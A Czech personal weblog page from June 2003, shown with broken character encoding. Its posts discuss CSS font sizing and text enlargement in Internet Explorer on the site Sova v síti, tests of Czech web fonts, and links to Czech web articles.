Sova v sφti upravila stylopis a jejφ pφsmo je v Exploreru zv∞t╣ovacφ. Tuto zm∞nu provßzφ obsßhl² p°φsp∞vek o velikostech pφsma s v²Φtem Φty° zp∙sob∙, jak to ud∞lat. (P°i Φtenφ jsem si trochu vyΦφtal, proΦ se mi na disku u╛ ╣est t²dn∙ vßlφ nedokonΦen² text o velikosti pφsma v CSS.) Marek Prokop nakonec pro Sovu zvolil ·pravu velikosti pφsma pomocφ procent, kterou bych na to se sv²mi nyn∞j╣φmi znalostmi taky aplikoval. Av╣ak dodal:

Lze nastavit velikost pφsma i na mΘn∞ ne╛ 100 %. V principu je to ale hloupost, nebo╗ tφm vlastn∞ °φkßm, aby se pφsmo zobrazilo men╣φ, ne╛ si p°eje u╛ivatel, kter² si t°eba ve svΘm prohlφ╛eΦi v²chozφ velikost v∞dom∞ nastavil. (Marek Prokop, SVS, 7. 6.)

Na to zajφmav∞ reagoval Lukin a mn∞ nezb²vß, ne╛ to podepsat:

nesouhlasφm s Markem v p°esv∞dΦenφ, ╛e pou╛φvat defaultnφ velikost pφsma men╣φ ne╛ 100% je hloupost. Nemyslφm si toti╛, ╛e on∞ch 100% je velikost, kterou "si p°eje u╛ivatel, kter² si t°eba ve svΘm prohlφ╛eΦi v²chozφ velikost v∞dom∞ nastavil" . Netroufßm odhadovat n∞jakß Φφsla, ale pochybuji, ╛e b∞╛n² Φtenß° n∞kdy ╣ßhne na nastavenφ defaultnφho textu v browseru. (Lukß╣ Oborsk², Letem sv∞tem, 8. 6., podepsßn tΘ╛ Yuh∙)

Celou udßlost zaznamenali tΘ╛ Potßpnφk, ConBlog a mo╛nß i dal╣φ. Marku Prokopovi musφm pod∞kovat za to, ╛e moje ╣╗ouchance trpφ a dokonce se podle nich i za°izuje. Te∩ si budu moci Φφst Sovu krßsn∞ zv∞t╣enou na jakΘmkoli poΦφtaΦi. Ve t°etφm dφle to u╛ budu mφt t∞╛╣φ, tam se asi pohßdßme :-) Kdybyste si n∞kdo cht∞li r²pnout do m∞, budete vφtßni. ProblΘm bude snad jen v tom, ╛e co se kritiky t²kß, jsem hrozn² flegmatik.

sobota, 7. Φerven 2003

permonφk

Kucha°ka Φesk²ch pφsem

┌pln∞ zapome≥te na pφsma WIN+CE (nap°. "Arial CE", "Verdana CE" atd.). Ukßzalo se, ╛e p∙sobφ vφc ╣kody ne╛ u╛itku.

Pixy vydal finßlnφ °e╣enφ s otaznφkem, kde probφrß aktualizovanΘ v²sledky test∙ Φesk²ch pφsem. Kdysi jsem se tφm takΘ cht∞l zab²vat, ale nynφ jsem ╣╗astn², ╛e u╛ to n∞kdo ud∞lal :-) Objevuje se p°φjemn² trend zjednodu╣ovßnφ, nynφ Pixy v odstavci "typickΘ sady pφsem" doporuΦuje jednodu╣╣φ zßpisy ne╛ d°φve.

permonφk

Jak jsem p°est°elil

Kdy╛ jsem se pokou╣el p°edpov∞d∞t P∙ovu reakci na Nov² seznam, byl jsem mimo. U╛ to d∞lat nebudu. P°φsp∞vek M²tus kvality seznamu dostßvß na prdel (Daniel DoΦekal, Pooh.cz) odkazuje na kritick² Φlßnek o NovΘm seznamu a dodßvß:

Proti barvßm nemßm v∙bec nic a jestli jsou n∞kde screenshoty? Je mi to upln∞ jedno.

Φtvrtek, 5. Φerven 2003

permonφk

Fakt divnΘ smajlφky

M∞jme syntaxi

zip[-3:] + ' ' + zip[:-3]

Vyberte, co to znamenß

  1. fakt divnΘ smajlφky
  2. ╣ablona pro strojovou v²robu zip∙
  3. pythonovskΘ odd∞lenφ Φφslic po╣tovnφho sm∞rovacφho Φφsla

permonφk

╚eskΘ Φlßnky

E-learning - praktickΘ pou╛itφ weblog∙, David Bure╣, DigiWeb.

TajnΘ funkce Toplistu, Pavel Francφrek, Franciho blog.

Google PageRank - slavn² trik velkΘho kouzelnφka, Martin Kopta, Lupa.cz.

Co se d∞je s portßlov²mi katalogy, tent²╛ Martin Kopta, tent²╛ DigiWeb.

st°eda, 4. Φerven 2003

permonφk

⌐╗ouchßnφ do Sovy 2/3

Sova v sφti nedovoluje Φtenß°∙m s Inernet Explorerem pohodlnΘ zv∞t╣enφ pφsma. Za deset minut dojede autobus do SlanΘho, tak to vyu╛iju na dal╣φ dφl na╣eho serißlu :-)

«e mßm Sovu v sφti moc rßd a pravideln∞ p°ispφvßm k jejφ velkΘ nßv╣t∞vnosti, u╛ jsem psal v prvnφm dφle. Kdybych si mohl zv∞t╣it pφsmo, Φetl bych ji je╣t∞ rad∞ji. Autor Sovy Marek Prokop mß ve stylopisu velikost pφsma nastavenou na 13 pixel∙, d°φve to m∞l v jednotkßch pt. Pφsmo zadanΘ v pixelech nebo v pt si normßlnφ u╛ivatel v Exploreru nem∙╛e p°φkazem Zobrazit > Velikost pφsma. Jednß se o chybu prohlφ╛eΦe, ale jde o prohlφ╛eΦ velmi roz°φ╣en². Nevφm, kolik procent u╛ivatel∙ tuhle mo╛nost zv∞t╣ovßnφ znß a pou╛φvß, jß ji ale pou╛φvßm hodn∞. Mßm toti╛ Φasto velk² a Φasto mal² monitor, navφc h∙° na ta pφsmenka vidφm.

Znßm t°i mo╛nosti, jak si m∙╛u nynφ zv∞t╣it pφsmo v Sov∞ v sφti:

Pominu-li zm∞nu prohlφ╛eΦe, jednß se o zp∙soby nedostateΦnΘ. Jednak vy╛adujφ nemalou znalost prßce s kaskßdov²mi styly Φi skripty, tak╛e je v∞t╣ina u╛ivatel∙ nemß ╣anci pou╛φt. Nap°φklad pro definici u╛ivatelskΘho stylu by Φtenß° musel vytvo°it css soubor (v p°φpad∞ sovy se selektorem ve tvaru #sovavsiti tag {deklarace}) a pak ho kdesi v zßkulisφ prohlφ╛eΦe nastavit.

Vß╛n∞j╣φ d∙vod je t°eba pro m∞ ten, ╛e dost Φasto pracuji na jinΘm poΦφtaΦi. Obecn∞ vzato (jako mnoho lidφ) pracuji na mnoha poΦφtaΦφch. Nynφ musφm na ka╛dΘm z nich definovat u╛ivatelsk² styl, instalovat Mozillu nebo psßt bookmarklety.

Dopln∞no: dva Φtenß°i (SuE a Tomß╣ Val∙╣ek) m∞ sprßvn∞ upozornili, ╛e existuje je╣t∞ Φtvrt² zp∙sob zv∞t╣ovßnφ pixelov∞ zadanΘho pφsma. Nastavuje se to v Exploreru v Nßstroje > Mo╛nosti > ObecnΘ > Usnadn∞nφ > Ignorovat velikosti pφsem. V╣echna pφsma jsou potom nastavenß na zßkladnφ velikost a dajφ se zv∞t╣ovat.

permonφk

Zßv∞r ve velkΘm stylu

Ne, ╛e bych weblog Vosu na jazyku m∞l kdovφjak rßd a pravideln∞ Φetl. Ale zp∙sob, kter²m zakonΦila existenci, je p∙sobiv².

·ter², 3. Φerven 2003

permonφk

Konec Exploreru?

Ply╣ßk m∞ upozornil na zajφmav² Φlßnek o dal╣φm v²voji Internet Exploreru, resp. o jeho dal╣φm nev²voji. Marek Trefn² na Technetu pφ╣e o novΘm operaΦnφm systΘmu longthorn a jeho souvislosti s Explorerem. Vφm, ╛e u╛ o tomto tΘmatu byla zmφnka na Sov∞, ale nestihl jsem si to p°eΦφst, tak a╛ te∩.

Yuh∙∙v weblog pφ╣e Yuh∙. Napi╣te mi prosφm na dusan@pc-slany.cz